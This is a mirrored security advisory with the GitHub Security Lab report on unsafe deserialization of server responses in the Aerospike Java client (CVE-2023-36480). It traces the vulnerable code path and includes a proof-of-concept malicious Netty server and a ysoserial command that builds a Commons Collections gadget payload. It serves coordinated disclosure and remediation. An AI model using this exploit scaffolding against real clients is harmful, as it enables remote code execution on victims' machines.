Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1qajk1LTU1Y3ItOTU5N84AA1Co

Aerospike Java Client vulnerable to unsafe deserialization of server responses

GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2023-044

The GitHub Security Lab team has identified a potential security vulnerability in Aerospike Java Client.

We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2023-044 as a reference).

If you are NOT the correct point of contact for this report, please let us know!

Summary

The Aerospike Java client is a Java application that implements a network protocol to communicate with an Aerospike server. Some of the messages received from the server contain Java objects that the client deserializes when it encounters them without further validation. Attackers that manage to trick clients into communicating with a malicious server can include especially crafted objects in its responses that, once deserialized by the client, force it to execute arbitrary code. This can be abused to take control of the machine the client is running on.

Product

Aerospike Java Client

Tested Version

6.1.7

Details

Issue: Unsafe deserialization of server responses (GHSL-2023-044)

The Aerospike Java client implements different ways of communicating with an Aerospike server to perform several operations. Asynchronous commands can be executed using the Netty framework using the NettyCommand class. This class includes an InboundHandler that extends Netty's ChannelInboundHandlerAdapter, which handles inbound data coming from the Netty channel established with the server. This is implemented in the channelRead method:

client/src/com/aerospike/client/async/NettyCommand.java:1157

@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) {
    command.read((ByteBuf)msg);
}

The incoming msg object is handled by the NettyCommand.read method, which behaves differently depending on the state variable. Several states produce paths to the vulnerable code — for instance, we will follow the path through AsyncCommand.COMMAND_READ_HEADER:

/client/src/com/aerospike/client/async/NettyCommand.java:489

private void read(ByteBuf byteBuffer) {
    eventReceived = true;

    try {
        switch (state) {
            // --snip--
            case AsyncCommand.COMMAND_READ_HEADER:
                if (command.isSingle) {
                    readSingleHeader(byteBuffer);
                }
                // --snip--
        }
        // --snip--
    }
    // --snip---
}

Some bytes are read from the message buffer and saved in command.dataBuffer in the readSingleHeader method, after which parseSingleBody is called:

client/src/com/aerospike/client/async/NettyCommand.java:596

private void readSingleHeader(ByteBuf byteBuffer) {
    int readableBytes = byteBuffer.readableBytes();
    int dataSize = command.dataOffset + readableBytes;

    // --snip--

    byteBuffer.readBytes(command.dataBuffer, 0, dataSize);
    command.dataOffset = dataSize;

    if (command.dataOffset >= receiveSize) {
        parseSingleBody();
    }
}

parseSingleBody simply delegates on AsyncCommand.parseCommandResult, which unless the message is compressed, directly calls AsyncCommand.parseResult. The implementation of this method depends on the command type. For an AsyncRead command, we have the following:

client/src/com/aerospike/client/async/AsyncRead.java:68

@Override
protected final boolean parseResult() {
    validateHeaderSize();

    int resultCode = dataBuffer[dataOffset + 5] & 0xFF;
    int generation = Buffer.bytesToInt(dataBuffer, dataOffset + 6);
    int expiration = Buffer.bytesToInt(dataBuffer, dataOffset + 10);
    int fieldCount = Buffer.bytesToShort(dataBuffer, dataOffset + 18);
    int opCount = Buffer.bytesToShort(dataBuffer, dataOffset + 20);
    dataOffset += Command.MSG_REMAINING_HEADER_SIZE;

    if (resultCode == 0) {
        // --snip--
        skipKey(fieldCount);
        record = parseRecord(opCount, generation, expiration, isOperation);
        return true;
    }

It can be seen that several fields are read from the message's bytes, and then a call to Command.parseRecord happens:

client/src/com/aerospike/client/command/Command.java:2083

protected final Record parseRecord(
    int opCount,
    int generation,
    int expiration,
    boolean isOperation
)  {
    Map<String,Object> bins = new LinkedHashMap<>();

    for (int i = 0 ; i < opCount; i++) {
        int opSize = Buffer.bytesToInt(dataBuffer, dataOffset);
        byte particleType = dataBuffer[dataOffset + 5];
        byte nameSize = dataBuffer[dataOffset + 7];
        String name = Buffer.utf8ToString(dataBuffer, dataOffset + 8, nameSize);
        dataOffset += 4 + 4 + nameSize;

        int particleBytesSize = opSize - (4 + nameSize);
        Object value = Buffer.bytesToParticle(particleType, dataBuffer, dataOffset, particleBytesSize);

Buffer.bytesToParticle converts the remaining bytes in the data buffer depending on the particleType field. We're interested in the JBLOB case:

client/src/com/aerospike/client/command/Buffer.java:53

public static Object bytesToParticle(int type, byte[] buf, int offset, int len)
    throws AerospikeException {
        switch (type) {
            // --snip--
            case ParticleType.JBLOB:
                return Buffer.bytesToObject(buf, offset, len);

In bytesToObject, the deserialization of an object from the message bytes happens:

client/src/com/aerospike/client/command/Buffer.java:300

public static Object bytesToObject(byte[] buf, int offset, int length) {
    // --snip--
    try (ByteArrayInputStream bastream = new ByteArrayInputStream(buf, offset, length)) {
        try (ObjectInputStream oistream = new ObjectInputStream(bastream)) {
            return oistream.readObject();
        }
    }
    // --snip--
}

NOTE: Take into account that there exists a similar sink, that can be reached in a similar way, in Unpacker.unpackBlock:

client/src/com/aerospike/client/util/Unpacker.java:227

private T unpackBlob(int count) throws IOException, ClassNotFoundException {
    // --snip--
    case ParticleType.JBLOB:
        // --snip--
        try (ByteArrayInputStream bastream = new ByteArrayInputStream(buffer, offset, count)) {
            try (ObjectInputStream oistream = new ObjectInputStream(bastream)) {
                val = getJavaBlob(oistream.readObject());
            }
        }

This vulnerability was discovered with the help of CodeQL.

Impact

This issue may lead to Remote Code Execution (RCE) in the Java client.

Remediation

Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON or XML. However, these formats should not be deserialized into complex objects because this provides further opportunities for attack. For example, XML-based deserialization attacks are possible through libraries such as XStream and XmlDecoder.

Alternatively, a tightly controlled whitelist can limit the vulnerability of code but be aware of the existence of so-called Bypass Gadgets, which can circumvent such protection measures.

Resources

To exploit this vulnerability, a malicious Aerospike server is needed. For the sake of simplicity, we implemented a mock server with hardcoded responses, with the only goal of reaching the vulnerable code of the client. To be able to easily reproduce this, we used the client's examples with the -netty flag, specifically the AsyncPutGet, which uses an AsyncRead. The examples point to localhost:3000 by default, so we set up a simple Netty TCP server listening on that port, which replicates responses previously intercepted from a real Aerospike server and returns them to the client, until the AsyncRead command happens. Then, our server injects the malicious response:

public class AttackChannelHandler extends SimpleChannelInboundHandler<String> {

    @Override
    protected void channelRead0(ChannelHandlerContext ctx, String s) throws Exception {
        // --snip--
        if (s.getBytes()[7] == 0x44) {
            AttackMessage m = new AttackMessage(
                    Files.readAllBytes(Paths.get("location/of/deserialization/payload.bin")));
            ctx.channel().writeAndFlush(m);
            return;
        }
        // --snip--
    }
}

AttackMessage is a class that hardcodes the necessary data to deliver the payload:

public class AttackMessage {

    private byte resultCode = 0;
    private int generation = 2;
    private int expiration = 417523457;
    private short fieldCount = 0;
    private short opCount = 1;
    private byte particleType = 7;
    private String name = "putgetbin";
    private byte[] payload;

    public AttackMessage(byte[] payload) {
        this.payload = payload;
    }

    // --snip-- (getters)

    public int[] getSize() {
        int size = 30 + name.length() + payload.length;
        int low = (byte) (size & 0xFF);
        int high = (byte) (size >> 8) & 0xFF;
        return new int[] {high, low};
    }

    public int getOpSize() {
        return payload.length + 4 + name.length();
    }

    public byte[] getPayload() {
        return payload;
    }
}

And it's finally encoded and delivered to the client through the network using a MessageToByteEncoder from Netty:

public class AttackMessageEncoder extends MessageToByteEncoder<AttackMessage> {

    @Override
    protected void encode(ChannelHandlerContext ctx, AttackMessage msg, ByteBuf out)
            throws Exception {
        // header
        out.writeBytes(new byte[] {0x02, 0x03, 0x00, 0x00, 0x00, 0x00});
        int[] length = msg.getSize();
        out.writeByte(length[0]);
        out.writeByte(length[1]);

        out.writeBytes(new byte[] {0x16, 0x00, 0x00, 0x00, 0x00});
        out.writeByte(msg.getResultCode());
        out.writeInt(msg.getGeneration());
        out.writeInt(msg.getExpiration());

        out.writeBytes(new byte[] {0x00, 0x00, 0x00, 0x00});
        out.writeShort(msg.getFieldCount());
        out.writeShort(msg.getOpCount());
        out.writeInt(msg.getOpSize());

        out.writeByte(0x01);
        out.writeByte(msg.getParticleType());

        out.writeByte(0x00);
        out.writeByte(msg.getName().length());
        out.writeCharSequence(msg.getName(), Charset.defaultCharset());
        out.writeBytes(msg.getPayload());
    }

}

The specific deserialization payload that needs to be used depends on the deserialization gadgets available in the classpath of the application using the Aerospike client. Again, for simplicity, we assumed the victim application uses Apache Commons Collections 4.0, which contains a well-known deserialization gadget:

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>

In which case, the malicious payload file could be generated using ysoserial as follows:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 '/System/Applications/Calculator.app/Contents/MacOS/Calculator' > payload.bin

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.

Credit

This issue was discovered and reported by the GitHub CodeQL team members @atorralba (Tony Torralba) and @joefarebrother (Joseph Farebrother).

Contact

You can contact the GHSL team at [email protected], please include a reference to GHSL-2023-044 in any communication regarding this issue.

Disclosure Policy

This report is subject to our coordinated disclosure policy.

Permalink: https://github.com/advisories/GHSA-jj95-55cr-9597
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajk1LTU1Y3ItOTU5N84AA1Co
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 1 year ago
Updated: about 1 year ago


CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Percentage: 0.00723
EPSS Percentile: 0.81091

Identifiers: GHSA-jj95-55cr-9597, CVE-2023-36480
References: Repository: https://github.com/aerospike/aerospike-client-java
Blast Radius: 23.2

Affected Packages

maven:com.aerospike:aerospike-client
Dependent packages: 83
Dependent repositories: 235
Downloads:
Affected Version Ranges: < 4.5.0, >= 5.0.0, < 5.2.0, >= 6.0.0, < 6.2.0
Fixed in: 4.5.0, 5.2.0, 6.2.0
All affected versions: 3.0.20, 3.0.22, 3.0.23, 3.0.24, 3.0.25, 3.0.26, 3.0.27, 3.0.28, 3.0.29, 3.0.30, 3.0.31, 3.0.32, 3.0.33, 3.0.34, 3.0.35, 3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.3.4, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.0.7, 4.0.8, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.1.7, 4.1.8, 4.1.9, 4.1.10, 4.1.11, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.3.0, 4.3.1, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.4.5, 4.4.6, 4.4.7, 4.4.8, 4.4.9, 4.4.10, 4.4.11, 4.4.12, 4.4.13, 4.4.14, 4.4.15, 4.4.16, 4.4.17, 4.4.18, 4.4.19, 4.4.20, 5.0.0, 5.0.1, 5.0.2, 5.0.3, 5.0.4, 5.0.5, 5.0.6, 5.0.7, 5.1.0, 5.1.1, 5.1.2, 5.1.3, 5.1.4, 5.1.5, 5.1.6, 5.1.7, 5.1.8, 5.1.9, 5.1.10, 5.1.11, 6.0.0, 6.0.1, 6.1.0, 6.1.1, 6.1.2, 6.1.3, 6.1.4, 6.1.5, 6.1.6, 6.1.7, 6.1.8, 6.1.9, 6.1.10, 6.1.11
All unaffected versions: 4.5.0, 4.6.0, 5.2.0, 5.3.0, 6.2.0, 6.3.0, 7.0.0, 7.1.0, 7.2.0, 7.2.1, 7.2.2, 8.0.0